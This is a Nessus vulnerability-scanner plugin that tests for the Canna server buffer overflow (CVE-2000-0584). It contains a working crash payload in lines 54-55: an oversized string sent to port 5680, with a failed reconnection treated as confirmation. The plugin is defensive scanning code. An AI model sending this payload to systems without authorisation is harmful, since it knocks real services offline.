home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / canna_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  65 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6. # References:
  7. # http://www.shadowpenguin.org/sc_advisories/advisory038.html
  8. # http://online.securityfocus.com/bid/1445/info
  9. # It took me a while to write the script - gomen gomen.
  10. #
  11. #
  12.  
  13. if(description)
  14. {
  15.  script_id(11114);
  16.  script_bugtraq_id(1445);
  17.  script_version ("$Revision: 1.4 $");
  18.  script_cve_id("CVE-2000-0584");
  19.  name["english"] = "Canna Overflow";
  20.  
  21.  script_name(english:name["english"]);
  22.          
  23.  desc["english"] = "
  24. It was possible to make the remote Canna server crash
  25. by sending an oversized string to it.
  26.  
  27. Solution : upgrade to the latest version or contact your vendor 
  28. for a patch
  29. See also: http://www.shadowpenguin.org/sc_advisories/advisory038.html
  30. Risk factor : High";
  31.          
  32.          
  33.               
  34.  script_description(english:desc["english"],
  35.              francais:desc["francais"]);
  36.             
  37.  
  38.  script_summary(english:"Checks if the remote Canna can be buffer overflown");
  39.  script_category(ACT_DESTRUCTIVE_ATTACK);
  40.  script_family(english:"Gain a shell remotely");
  41.  
  42.  script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison",
  43.            francais:"Ce script est Copyright (C) 2002 Renaud Deraison");
  44.           
  45.  script_require_ports(5680);
  46.  exit(0);
  47. }
  48.  
  49. port = 5680;
  50. if(!get_port_state(port))exit(0);
  51. soc = open_sock_tcp(port);
  52. if(soc)
  53. {
  54.   req = raw_string(0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 50) + 
  55.         "3.3:" + crap(300) + raw_string(0);
  56.   send(socket:soc, data:req);
  57.   r = recv(socket:soc, length:4);
  58.   close(soc);
  59.  
  60.   soc2 = open_sock_tcp(port);
  61.   if(!soc2)security_hole(port);
  62. }
  63.